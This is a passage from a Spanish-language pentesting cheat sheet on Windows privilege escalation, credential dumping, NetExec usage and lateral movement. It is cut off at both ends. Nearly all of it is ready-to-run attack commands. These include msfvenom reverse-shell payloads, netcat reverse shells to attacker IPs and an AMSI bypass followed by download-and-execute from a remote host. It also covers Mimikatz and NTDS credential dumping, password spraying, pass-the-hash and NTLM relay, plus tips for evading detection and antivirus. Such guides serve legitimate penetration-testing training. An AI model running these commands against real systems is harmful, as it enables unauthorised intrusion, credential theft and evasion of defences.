4
5
# Crear MSI malicioso con msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.50 LPORT=443 -f msi > evil.msi

# Transferir a víctima y ejecutar
msiexec /quiet /qn /i C:\Temp\evil.msi

Output AMARILLO (Interesante) - Unquoted Service Path

1
2
3
4
5
6
7
[+] Interesting Services -non Microsoft-
  [?] Check if you can overwrite some binary or perform a DLL hijacking
   [i] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
    VulnService(VulnSvc)[C:\Program Files\Vulnerable App\service.exe] - Autoload - Stopped
        Permissions: Everyone [AllAccess]
        Unquoted and Space detected
        Possible DLL Hijacking: C:\Program Files\Vulnerable.exe

¿Qué significa? → Path sin comillas + espacios = hijacking.

Explotación:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Si el path es: C:\Program Files\Vulnerable App\service.exe
# Windows busca en orden:
# 1. C:\Program.exe
# 2. C:\Program Files\Vulnerable.exe
# 3. C:\Program Files\Vulnerable App\service.exe

# Crear payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.50 LPORT=443 -f exe > Vulnerable.exe

# Subir a C:\Program Files\Vulnerable.exe
copy Vulnerable.exe "C:\Program Files\Vulnerable.exe"

# Reiniciar servicio (si tienes permisos)
sc stop VulnService
sc start VulnService

Output VERDE (Informativo) - Credentials in Files

1
2
3
4
[+] Looking for AutoLogon credentials
    Some AutoLogon credentials were found
    DefaultUserName               :  admin
    DefaultPassword               :  P@ssw0rd123!

¿Qué significa? → Credenciales en registro para autologon.

Uso:

1
2
3
4
5
# Intentar reutilización de contraseña
runas /user:administrator "cmd.exe"

# O probar credenciales contra SMB/RDP
netexec smb 10.10.10.50 -u admin -p 'P@ssw0rd123!'

Secciones Clave a Revisar

Sección¿Qué buscar?Prioridad
System InformationVersión de Windows, KB instalados, arquitectura🟢 Baja
AV InformationAntivirus activo, Windows Defender🟡 Media
Users InformationUsuarios locales, grupos, privilegios🟡 Media
Token PrivilegesSeImpersonatePrivilege, SeBackupPrivilege🔴 Alta
ClipboardTexto copiado recientemente🟢 Baja
Installed SoftwareSoftware vulnerable (outdated)🟡 Media
Running ProcessesProcesos como usuario privilegiado🟡 Media
ServicesUnquoted paths, permisos débiles🔴 Alta
ApplicationsAlwaysInstallElevated, apps con autoupdate🔴 Alta
Network InformationInterfaces, conexiones activas, rutas🟢 Baja
Firewall RulesReglas de firewall activas🟢 Baja
Scheduled TasksTasks con permisos de escritura🟡 Media
Windows CredentialsAutoLogon, Credential Manager, DPAPI🔴 Alta
Saved RDP ConnectionsConexiones RDP guardadas🟡 Media
Recently Run CommandsComandos ejecutados recientemente🟢 Baja
PS HistoryHistorial de PowerShell🟡 Media
Interesting Filesweb.config, unattend.xml, SAM/SYSTEM🔴 Alta
NTLM SettingsLLMNR, NBT-NS, SMB signing🟡 Media

Comparación: WinPEAS vs Enumeración Manual

TareaManual (tiempo)WinPEAS (tiempo)
Enumerar usuarios y grupos5 minAutomático (5 seg)
Revisar privilegios (SeImpersonate, etc)2 minAutomático (2 seg)
Buscar servicios vulnerables15 minAutomático (30 seg)
Buscar scheduled tasks modificables10 minAutomático (20 seg)
Buscar archivos con credenciales30 minAutomático (1 min)
Revisar AlwaysInstallElevated2 minAutomático (2 seg)
Enumerar software instalado5 minAutomático (10 seg)
TOTAL~70 min~3 min

Conclusión: WinPEAS ahorra ~95% del tiempo de enumeración.

Limitaciones de WinPEAS

  1. No explota automáticamente - Solo enumera, tú debes explotar
  2. Falsos positivos - No todo lo ROJO es explotable en tu contexto
  3. Detección por AV - Puede ser bloqueado (usa versión ofuscada)
  4. Output masivo - Puede ser abrumador (usa grep para filtrar)
  5. No reemplaza conocimiento - Debes entender qué significan los hallazgos

Tips y Trucos

1. Ejecutar sin permisos de escritura en disco actual

1
2
3
# Si no puedes escribir en el directorio actual
cd C:\Windows\Temp
.\winPEASx64.exe > C:\Users\Public\winpeas.txt

2. Bypass de AMSI (Anti-Malware Scan Interface)

1
2
3
4
5
# Desactivar AMSI antes de ejecutar WinPEAS.ps1
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Luego ejecutar WinPEAS
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.50:8000/winPEAS.ps1')

3. Filtrar output por criticidad

1
2
# En Kali, después de transferir winpeas.txt
cat winpeas.txt | grep -E "99%|95%|AlwaysInstall|SeImpersonate|Unquoted"

4. Ejecutar en background (si tienes shell lenta)

1
2
3
4
5
6
7
8
# Ejecutar WinPEAS en background y guardar a archivo
Start-Job -ScriptBlock {C:\Temp\winPEASx64.exe notcolor > C:\Temp\output.txt}

# Verificar si terminó
Get-Job

# Leer output cuando termine
Get-Content C:\Temp\output.txt

5. Combinar con otras herramientas

1
2
3
4
5
6
7
8
9
# 1º WinPEAS para overview general
.\winPEASx64.exe fast > winpeas.txt

# 2º PowerUp para verificar hallazgos
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.50:8000/PowerUp.ps1')
Invoke-AllChecks

# 3º Seatbelt para enumeración adicional
.\Seatbelt.exe -group=all

Recursos Adicionales


PowerUp.ps1 (Enumeración automatizada)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Descargar desde
# https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

# Ejecutar remotamente sin tocar disco
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.33:8000/PowerUp.ps1')

# O importar localmente
Import-Module .\PowerUp.ps1

# Ejecutar todos los checks
Invoke-AllChecks

# Buscar servicios modificables
Get-ModifiableServiceFile

# Buscar DLL hijacking
Find-ProcessDLLHijack

# Buscar AlwaysInstallElevated
Get-RegistryAlwaysInstallElevated

Servicios Vulnerables

Servicio con permisos de escritura en binario

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Identificar con PowerUp
Get-ModifiableServiceFile

# O manualmente
icacls "C:\Program Files\VulnService\service.exe"

# Si tenemos permisos de escritura (W), reemplazar con payload
# Crear payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.50 LPORT=443 -f exe > service.exe

# Subir y reemplazar
copy service.exe "C:\Program Files\VulnService\service.exe"

# Reiniciar servicio
sc stop VulnService
sc start VulnService

Unquoted Service Path

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Buscar servicios con rutas sin comillas
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """

# Ejemplo vulnerable:
# C:\Program Files\Vulnerable App\service.exe

# Windows buscará en orden:
# C:\Program.exe
# C:\Program Files\Vulnerable.exe
# C:\Program Files\Vulnerable App\service.exe

# Si tenemos permisos de escritura en algún directorio, colocar payload
copy payload.exe "C:\Program Files\Vulnerable.exe"
sc stop VulnService
sc start VulnService

SeImpersonatePrivilege (Potato Exploits)

1
2
3
4
# Verificar privilegios
whoami /priv

# Si tienes SeImpersonatePrivilege o SeAssignPrimaryTokenPrivilege

Variantes de Potato:

JuicyPotatoNG

1
.\JuicyPotatoNG.exe -t * -p C:\Windows\System32\cmd.exe -a "/c C:\Temp\nc.exe -e cmd 192.168.230.12 443"

GodPotato

1
.\GodPotato.exe -cmd ".\nc.exe -t -e c:\windows\system32\cmd.exe 192.168.230.12 443"

PrintSpoofer

1
.\PrintSpoofer64.exe -c "cmd /c powershell -c C:\Temp\reverse.ps1"

🎯 MITRE ATT&CK: T1134.001 - Access Token Manipulation: Token Impersonation/Theft

AlwaysInstallElevated

1
2
3
4
5
6
7
8
9
10
11
# Verificar si está habilitado
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Si ambos están en 0x1, podemos instalar MSI como SYSTEM

# Crear MSI malicioso
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.50 LPORT=443 -f msi > installer.msi

# Instalar
msiexec /quiet /qn /i C:\Temp\installer.msi

💀 Post-Explotación

Mimikatz (Extracción de Credenciales)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Habilitar debug privilege
mimikatz # privilege::debug

# Extraer credenciales de LSASS
mimikatz # sekurlsa::logonpasswords

# Extraer hashes de SAM (requiere SYSTEM)
mimikatz # token::elevate
mimikatz # lsadump::sam

# Extraer de LSA (Domain Controller)
mimikatz # token::elevate
mimikatz # lsadump::lsa /patch

# Oneliners
.\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
.\mimikatz "privilege::debug" "token::elevate" "lsadump::sam" exit
.\mimikatz "privilege::debug" "token::elevate" "lsadump::lsa /patch" exit

🎯 MITRE ATT&CK: T1003.001 - OS Credential Dumping: LSASS Memory

Dump SAM y SYSTEM (Workstations/Servers)

1
2
3
4
5
6
# Guardar SAM y SYSTEM del registro
reg save HKLM\system C:\Temp\SYSTEM
reg save HKLM\sam C:\Temp\SAM

# Descargar a Kali y extraer hashes
impacket-secretsdump -system SYSTEM -sam SAM LOCAL

Dump NTDS.dit (Domain Controllers)

Método 1: Shadow Copy

Crear archivo shadowcopy.txt (añadir espacio al final de cada línea):

1
2
3
4
set context persistent nowriters
add volume c: alias andyshadow
create
expose %andyshadow% z:

Ejecutar:

1
2
3
4
5
6
7
8
9
10
11
12
13
# Crear shadow copy
diskshadow.exe /s C:\Temp\shadowcopy.txt

# Resultado: The shadow copy was successfully exposed as Z:\.

# Copiar NTDS.dit
robocopy /b Z:\Windows\NTDS\ . ntds.dit

# Opcional: Comprimir antes de exfiltrar
Compress-Archive -Path .\ntds.dit -DestinationPath .\ntds.zip

# Descargar a Kali y extraer
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

Método 2: VSS con ntdsutil

1
ntdsutil "ac i ntds" "ifm" "create full c:\temp\ntds" q q

🎯 MITRE ATT&CK: T1003.003 - OS Credential Dumping: NTDS

Pypykatz (Alternativa a Mimikatz en Python)

1
2
# Procesar dump de LSASS
pypykatz lsa minidump lsass.dmp

🔧 NetExec - Swiss Army Knife para Pentesting de Redes

NetExec (anteriormente CrackMapExec) es una herramienta post-explotación que ayuda a automatizar la evaluación de seguridad en redes grandes. Es la evolución activa de CME, mantenida por la comunidad después de que el proyecto original fuera deprecado.

¿Por qué NetExec en lugar de CrackMapExec?

CrackMapExec (CME) fue deprecado en 2023. NetExec es su sucesor oficial con:

  • ✅ Mantenimiento activo y actualizaciones frecuentes
  • ✅ Nuevas funcionalidades (LDAP, FTP, más módulos)
  • ✅ Mejor rendimiento y estabilidad
  • ✅ Compatibilidad con Python 3.11+
  • ✅ Comunidad activa y soporte

Repositorio oficial: https://github.com/Pennyw0rth/NetExec Documentación: https://www.netexec.wiki/

Instalación

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Método 1: pipx (recomendado - aislamiento de dependencias)
sudo apt install pipx
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec

# Método 2: pip
pip install netexec

# Método 3: Desde fuente (desarrollo)
git clone https://github.com/Pennyw0rth/NetExec
cd NetExec
python3 -m pip install .

# Verificar instalación
netexec --version
nxc --version  # Alias corto

# Actualizar NetExec
pipx upgrade netexec

Nota: El comando puede ser netexec o nxc (alias). En esta guía usaremos netexec.

Protocolos Soportados

NetExec soporta múltiples protocolos para interactuar con servicios de red:

1
2
3
4
5
6
7
8
9
netexec smb      # Server Message Block (compartir archivos Windows)
netexec ssh      # Secure Shell
netexec ldap     # Lightweight Directory Access Protocol (Active Directory)
netexec ftp      # File Transfer Protocol
netexec wmi      # Windows Management Instrumentation
netexec winrm    # Windows Remote Management (PowerShell remoting)
netexec rdp      # Remote Desktop Protocol
netexec mssql    # Microsoft SQL Server
netexec vnc      # Virtual Network Computing

Conceptos Fundamentales

1. Autenticación

NetExec soporta múltiples métodos de autenticación:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Usuario y contraseña
netexec smb 10.10.10.200 -u 'administrator' -p 'Password123!'

# Usuario sin contraseña (null authentication)
netexec smb 10.10.10.200 -u '' -p ''

# Guest account
netexec smb 10.10.10.200 -u 'guest' -p ''

# Pass-the-Hash (solo hash NTLM)
netexec smb 10.10.10.200 -u 'administrator' -H 'aad3b435b51404eeaad3b435b51404ee:7574cbf9d92c39d1d4dccd7b89301d2f'

# Solo hash NTLM (sin LM)
netexec smb 10.10.10.200 -u 'administrator' -H '7574cbf9d92c39d1d4dccd7b89301d2f'

# Kerberos (requiere configuración)
netexec smb dc1.domain.local -u 'administrator' -p 'Password123!' -k

# Lista de usuarios
netexec smb 10.10.10.200 -u users.txt -p 'Password123!'

# Lista de contraseñas
netexec smb 10.10.10.200 -u 'admin' -p passwords.txt

# Combinación de listas (spray)
netexec smb 10.10.10.200 -u users.txt -p passwords.txt --no-bruteforce

# Formato domain\user
netexec smb 10.10.10.200 -u 'DOMAIN\admin' -p 'Password123!'

2. Targets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# IP única
netexec smb 10.10.10.200

# Rango CIDR
netexec smb 10.10.10.0/24

# Lista de IPs desde archivo
netexec smb targets.txt

# Múltiples IPs
netexec smb 10.10.10.200 10.10.10.201 10.10.10.202

# Rango de IPs
netexec smb 10.10.10.200-250

3. Output y Formatos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Output coloreado (default)
netexec smb 10.10.10.200 -u admin -p pass

# Sin color
netexec smb 10.10.10.200 -u admin -p pass --no-color

# Verbose
netexec smb 10.10.10.200 -u admin -p pass -v

# Debug completo
netexec smb 10.10.10.200 -u admin -p pass -vv

# Guardar en archivo
netexec smb 10.10.10.0/24 -u admin -p pass > scan_results.txt

SMB - Enumeración y Explotación

El protocolo SMB es el más utilizado en NetExec para pentesting de Windows/AD.

Enumeración Básica

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Escaneo básico de hosts con SMB
netexec smb 10.10.10.0/24

# Mostrar información del sistema
netexec smb 10.10.10.200 -u '' -p ''

# Enumerar shares
netexec smb 10.10.10.200 -u 'guest' -p '' --shares

# Enumerar shares con permisos de lectura/escritura
netexec smb 10.10.10.200 -u 'user' -p 'pass' --shares

# Listar contenido de un share específico
netexec smb 10.10.10.200 -u 'user' -p 'pass' --spider SHARENAME --depth 3

# Buscar archivos específicos en shares
netexec smb 10.10.10.200 -u 'user' -p 'pass' --spider SHARENAME --pattern '.*\.txt$'

# Descargar archivo de share
netexec smb 10.10.10.200 -u 'user' -p 'pass' --get-file 'SHARENAME/path/to/file.txt' './local_file.txt'

# Subir archivo a share
netexec smb 10.10.10.200 -u 'user' -p 'pass' --put-file './local.exe' 'SHARENAME/remote.exe'

Enumeración de Usuarios

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Listar usuarios del dominio
netexec smb 10.10.10.200 -u 'user' -p 'pass' --users

# Listar grupos del dominio
netexec smb 10.10.10.200 -u 'user' -p 'pass' --groups

# Listar usuarios de un grupo específico
netexec smb 10.10.10.200 -u 'user' -p 'pass' --groups 'Domain Admins'

# Enumerar usuarios locales
netexec smb 10.10.10.200 -u 'user' -p 'pass' --local-users

# Enumerar sesiones activas
netexec smb 10.10.10.200 -u 'user' -p 'pass' --sessions

# Enumerar disks
netexec smb 10.10.10.200 -u 'user' -p 'pass' --disks

# Enumerar información completa del sistema
netexec smb 10.10.10.200 -u 'user' -p 'pass' --enum-info

Políticas de Contraseña

1
2
3
4
5
6
7
8
9
10
# Enumerar política de contraseñas (importante antes de password spraying)
netexec smb 10.10.10.200 -u 'user' -p 'pass' --pass-pol

# Output ejemplo:
# [+] Password Policy:
#     Minimum password length: 7
#     Password complexity: Enabled
#     Lockout threshold: 5
#     Lockout duration: 30 minutes
#     Password history: 24

💡 Tip: Usa siempre --pass-pol antes de hacer password spraying para evitar bloqueos de cuenta.

Password Spraying

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Password spraying básico (1 contraseña, múltiples usuarios)
netexec smb 10.10.10.200 -u users.txt -p 'Welcome2024!' --continue-on-success

# Evitar combinaciones usuario:password (más seguro)
netexec smb 10.10.10.200 -u users.txt -p passwords.txt --no-bruteforce

# Con delay entre intentos (evitar detección)
netexec smb 10.10.10.200 -u users.txt -p 'Password123!' --continue-on-success --delay 2

# Spray en múltiples hosts
netexec smb 10.10.10.0/24 -u users.txt -p 'Welcome2024!' --continue-on-success

# Guardar credenciales válidas
netexec smb 10.10.10.200 -u users.txt -p 'Password123!' | grep '[+]' > valid_creds.txt

⚠️ Importante:

  • Usa --continue-on-success para probar todos los usuarios incluso si uno funciona
  • Usa --no-bruteforce para password spraying (evita user1:pass1, user1:pass2, …)
  • Verifica --pass-pol antes para conocer el lockout threshold

Ejecución de Comandos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Ejecutar comando (cmd.exe)
netexec smb 10.10.10.200 -u 'administrator' -p 'pass' -x 'whoami'

# Ejecutar comando PowerShell
netexec smb 10.10.10.200 -u 'administrator' -p 'pass' -X 'Get-Host'

# Con Pass-the-Hash
netexec smb 10.10.10.200 -u 'administrator' -H 'hash' -x 'ipconfig'

# Ejecutar en múltiples hosts
netexec smb 10.10.10.0/24 -u 'admin' -p 'pass' -x 'hostname' --continue-on-success

# Obtener output completo
netexec smb 10.10.10.200 -u 'admin' -p 'pass' -x 'systeminfo' -v

Dumping de Credenciales

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Dump SAM (hashes locales - requiere admin)
netexec smb 10.10.10.200 -u 'administrator' -p 'pass' --sam

# Dump LSA secrets
netexec smb 10.10.10.200 -u 'administrator' -p 'pass' --lsa

# Dump NTDS.dit (Domain Controller - requiere Domain Admin)
netexec smb 10.10.10.200 -u 'administrator' -p 'pass' --ntds

# Dump LSASS (credenciales en memoria)
netexec smb 10.10.10.200 -u 'administrator' -p 'pass' -M lsassy

# Dump con método específico (evitar AV)
netexec smb 10.10.10.200 -u 'admin' -p 'pass' -M nanodump
netexec smb 10.10.10.200 -u 'admin' -p 'pass' -M procdump

# Guardar hashes en archivo
netexec smb 10.10.10.200 -u 'administrator' -H 'hash' --ntds --output-file domain_hashes.txt

Pass-the-Hash Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Autenticarse con hash NTLM
netexec smb 10.10.10.200 -u 'administrator' -H 'aad3b435b51404eeaad3b435b51404ee:7574cbf9d92c39d1d4dccd7b89301d2f'

# Solo hash NTLM (LM vacío)
netexec smb 10.10.10.200 -u 'administrator' -H '7574cbf9d92c39d1d4dccd7b89301d2f'

# Pass-the-Hash en rango de red (spray)
netexec smb 10.10.10.0/24 -u 'administrator' -H 'hash' --continue-on-success

# Ejecutar comando con PTH
netexec smb 10.10.10.200 -u 'administrator' -H 'hash' -x 'whoami'

# Dump SAM con PTH
netexec smb 10.10.10.200 -u 'administrator' -H 'hash' --sam

Indicadores de éxito:

  • (Pwn3d!) - Credenciales válidas Y privilegios de admin
  • [+] - Credenciales válidas pero sin admin

LDAP - Enumeración de Active Directory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Conexión básica a LDAP
netexec ldap 10.10.10.200 -u 'user' -p 'pass'

# Enumerar usuarios del dominio
netexec ldap 10.10.10.200 -u 'user' -p 'pass' --users

# Enumerar grupos
netexec ldap 10.10.10.200 -u 'user' -p 'pass' --groups

# Buscar usuarios con descripción (pueden contener passwords)
netexec ldap 10.10.10.200 -u 'user' -p 'pass' --users --filter '(description=*)'

# Enumerar usuarios kerberoastables (con SPN)
netexec ldap 10.10.10.200 -u 'user' -p 'pass' --kerberoasting

# Guardar TGS tickets para crackear offline
netexec ldap 10.10.10.200 -u 'user' -p 'pass' --kerberoasting --output-file kerberoast.txt

# Enumerar usuarios ASREPRoastables
netexec ldap 10.10.10.200 -u 'user' -p 'pass' --asreproast

# BloodHound data collection
netexec ldap 10.10.10.200 -u 'user' -p 'pass' --bloodhound --collection All

# Enumerar Domain Trusts
netexec ldap 10.10.10.200 -u 'user' -p 'pass' --trusted-for-delegation

# Buscar computadoras con unconstrained delegation
netexec ldap 10.10.10.200 -u 'user' -p 'pass' --unconstrained-delegation

WinRM - PowerShell Remoting

1
2
3
4
5
6
7
8
9
10
11
# Verificar si WinRM está habilitado
netexec winrm 10.10.10.200 -u 'user' -p 'pass'

# Ejecutar comando PowerShell
netexec winrm 10.10.10.200 -u 'administrator' -p 'pass' -x 'Get-Process'

# Con Pass-the-Hash
netexec winrm 10.10.10.200 -u 'administrator' -H 'hash' -x 'hostname'

# Shell interactivo (si pwned)
netexec winrm 10.10.10.200 -u 'administrator' -p 'pass' -x 'powershell.exe'

MSSQL - Microsoft SQL Server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Conexión a MSSQL
netexec mssql 10.10.10.200 -u 'sa' -p 'password'

# Enumerar bases de datos
netexec mssql 10.10.10.200 -u 'sa' -p 'pass' --query 'SELECT name FROM master.sys.databases'

# Ejecutar query personalizada
netexec mssql 10.10.10.200 -u 'sa' -p 'pass' --query 'SELECT @@version'

# Ejecutar comandos del sistema (si xp_cmdshell habilitado)
netexec mssql 10.10.10.200 -u 'sa' -p 'pass' -x 'whoami'

# Habilitar xp_cmdshell
netexec mssql 10.10.10.200 -u 'sa' -p 'pass' -M mssql_priv

# Enumerar linked servers
netexec mssql 10.10.10.200 -u 'sa' -p 'pass' --query 'EXEC sp_linkedservers'

RDP - Remote Desktop

1
2
3
4
5
6
7
8
9
10
11
# Verificar RDP habilitado y validar credenciales
netexec rdp 10.10.10.200 -u 'administrator' -p 'pass'

# Verificar con Pass-the-Hash (Restricted Admin Mode)
netexec rdp 10.10.10.200 -u 'administrator' -H 'hash'

# Screenshot de escritorio
netexec rdp 10.10.10.200 -u 'user' -p 'pass' --screenshot

# Enumerar sesiones RDP activas
netexec rdp 10.10.10.200 -u 'user' -p 'pass' --sessions

Módulos de NetExec

NetExec tiene un sistema de módulos para funcionalidades avanzadas.

1
2
3
4
5
6
7
8
# Listar módulos disponibles
netexec smb --list-modules

# Usar módulo específico
netexec smb 10.10.10.200 -u 'admin' -p 'pass' -M MODULE_NAME

# Ver opciones de un módulo
netexec smb --module-info MODULE_NAME

Módulos Populares

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# lsassy - Dump LSASS memory
netexec smb 10.10.10.200 -u 'admin' -p 'pass' -M lsassy

# nanodump - Dump LSASS (evasión AV)
netexec smb 10.10.10.200 -u 'admin' -p 'pass' -M nanodump

# mimikatz - Ejecutar Mimikatz remotamente
netexec smb 10.10.10.200 -u 'admin' -p 'pass' -M mimikatz

# web_delivery - Metasploit web delivery
netexec smb 10.10.10.200 -u 'admin' -p 'pass' -M web_delivery

# spider_plus - Buscar archivos sensibles
netexec smb 10.10.10.200 -u 'user' -p 'pass' -M spider_plus

# enum_chrome - Extraer credenciales de Chrome
netexec smb 10.10.10.200 -u 'user' -p 'pass' -M enum_chrome

# enum_av - Detectar antivirus instalado
netexec smb 10.10.10.200 -u 'user' -p 'pass' -M enum_av

# gpp_password - Buscar contraseñas en Group Policy Preferences
netexec smb 10.10.10.200 -u 'user' -p 'pass' -M gpp_password

# gpp_autologin - Buscar credenciales de autologin
netexec smb 10.10.10.200 -u 'user' -p 'pass' -M gpp_autologin

Database de NetExec

NetExec mantiene una base de datos local de hosts, credenciales y resultados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Ver base de datos
netexec smb --database

# Exportar credenciales
netexec smb --export-creds

# Limpiar base de datos
netexec smb --clear-database

# Ver hosts descubiertos
netexec smb --hosts

# Ver credenciales almacenadas
netexec smb --creds

Workflows Completos

Workflow 1: Enumeración Inicial sin Credenciales

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1. Descubrir hosts con SMB
netexec smb 10.10.10.0/24

# 2. Intentar null session
netexec smb 10.10.10.0/24 -u '' -p '' --shares

# 3. Intentar guest account
netexec smb 10.10.10.0/24 -u 'guest' -p ''

# 4. Enumerar usuarios si tenemos acceso
netexec smb 10.10.10.200 -u '' -p '' --users

# 5. Password spraying con contraseñas comunes
netexec smb 10.10.10.0/24 -u users.txt -p 'Welcome2024!' --continue-on-success --no-bruteforce

Workflow 2: Post-Compromiso con Credenciales

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 1. Validar credenciales en toda la red
netexec smb 10.10.10.0/24 -u 'user' -p 'pass' --continue-on-success

# 2. Enumerar shares accesibles
netexec smb 10.10.10.0/24 -u 'user' -p 'pass' --shares

# 3. Buscar archivos sensibles
netexec smb 10.10.10.0/24 -u 'user' -p 'pass' -M spider_plus

# 4. Si tenemos admin, dump SAM
netexec smb 10.10.10.0/24 -u 'admin' -p 'pass' --sam --continue-on-success

# 5. Dump LSASS en hosts comprometidos
netexec smb 10.10.10.0/24 -u 'admin' -p 'pass' -M lsassy --continue-on-success

# 6. Pass-the-Hash con hashes obtenidos
netexec smb 10.10.10.0/24 -u 'administrator' -H 'hash' --continue-on-success

Workflow 3: Active Directory Assessment

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 1. Enumerar política de contraseñas
netexec smb 10.10.10.200 -u 'user' -p 'pass' --pass-pol

# 2. Enumerar usuarios del dominio
netexec ldap 10.10.10.200 -u 'user' -p 'pass' --users

# 3. Kerberoasting
netexec ldap 10.10.10.200 -u 'user' -p 'pass' --kerberoasting --output-file kerberoast.txt

# 4. ASREPRoasting
netexec ldap 10.10.10.200 -u 'user' -p 'pass' --asreproast --output-file asrep.txt

# 5. BloodHound collection
netexec ldap 10.10.10.200 -u 'user' -p 'pass' --bloodhound --collection All

# 6. Buscar Domain Admins
netexec smb 10.10.10.200 -u 'user' -p 'pass' --groups 'Domain Admins'

Tips y Trucos

1. Usar aliases para comandos frecuentes

1
2
alias nxc='netexec'
alias nxc-spray='netexec smb 10.10.10.0/24 -u users.txt -p --no-bruteforce --continue-on-success'

2. Combinar con otras herramientas

1
2
3
4
# Usar con Responder para NTLM relay
sudo responder -I tun0 &
netexec smb 10.10.10.0/24 -u '' -p '' --gen-relay-list relay.txt
impacket-ntlmrelayx -tf relay.txt -smb2support

3. Guardar resultados

1
2
# Exportar toda la actividad
netexec smb 10.10.10.0/24 -u admin -p pass --sam 2>&1 | tee netexec_results.txt

4. Evitar detección

1
2
3
4
5
# Usar delay entre requests
netexec smb 10.10.10.0/24 -u user -p pass --delay 2

# Reducir threads
netexec smb 10.10.10.0/24 -u user -p pass --threads 1

Diferencias con CrackMapExec

CaracterísticaCrackMapExec (CME)NetExec (NXC)
EstadoDeprecado (2023)Activo
Comandocrackmapexec o cmenetexec o nxc
ProtocolosSMB, SSH, WinRM, MSSQL+LDAP, FTP, VNC, RDP
Módulos~40 módulos~60+ módulos
Python3.7-3.103.8-3.12+
BloodHoundSoporte básicoIntegración completa
DatabaseSQLite básicaSQLite mejorada
DocumentaciónLimitadaWiki completa

Troubleshooting

Error: “SMB SessionError: STATUS_ACCESS_DENIED”

1
2
# Solución: Verificar credenciales o usar hash completo
netexec smb 10.10.10.200 -u 'user' -H 'LM:NTLM'

Error: “Connection refused”

1
2
# Verificar que SMB esté habilitado
nmap -p 445 10.10.10.200

No encuentra módulos

1
2
# Reinstalar NetExec
pipx reinstall netexec --force

Pass-the-Hash no funciona

1
2
# Habilitar Restricted Admin Mode en target
netexec smb 10.10.10.200 -u admin -p pass -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'

Referencias

🎯 MITRE ATT&CK: T1021 - Remote Services, T1003 - OS Credential Dumping, T1087 - Account Discovery


🌐 Movimiento Lateral

NTLM Relay Attack

1
2
3
4
5
# Iniciar ntlmrelayx
impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.50.212 -c "powershell -enc JABjAGwAaQBlAG4AdA..."

# Forzar autenticación desde víctima con Responder
sudo responder -I tun0

Requisitos:

  • SMB signing deshabilitado en target
  • Credenciales capturadas deben tener permisos en target

Pass-the-Hash con CrackMapExec

1
2
3
4
5
# Ejecutar comando
crackmapexec smb 10.10.10.200 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:7574cbf9d92c39d1d4dccd7b89301d2f' -x 'whoami'

# Habilitar RDP
crackmapexec smb 10.9.20.13 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:7574cbf9d92c39d1d4dccd7b89301d2f' -x 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

Pass-the-Hash con impacket-psexec

1
2
3
4
5
# Shell con hash NTLM
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:7574cbf9d92c39d1d4dccd7b89301d2f administrator@10.10.10.200

# Con credenciales
impacket-psexec domain/user:password@10.10.10.200

Pass-the-Hash con RDP

1
2
3
4
5
# Habilitar Restricted Admin Mode primero
crackmapexec smb 10.10.10.200 -u admin -H hash -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'

# Conectar con hash
xfreerdp /u:administrator /pth:7574cbf9d92c39d1d4dccd7b89301d2f /v:10.10.10.200

🎯 MITRE ATT&CK: T1550.002 - Use Alternate Authentication Material: Pass the Hash

Cambiar Contraseña de Usuario Remoto

1
2
3
4
# Cambiar password de otro usuario (requiere permisos)
net rpc password 'user_to_change' -U 'my_user' -S 10.10.10.200

# Pedirá nueva contraseña

Capturar Hashes con NTLM_Theft

1
2
3
4
5
6
7
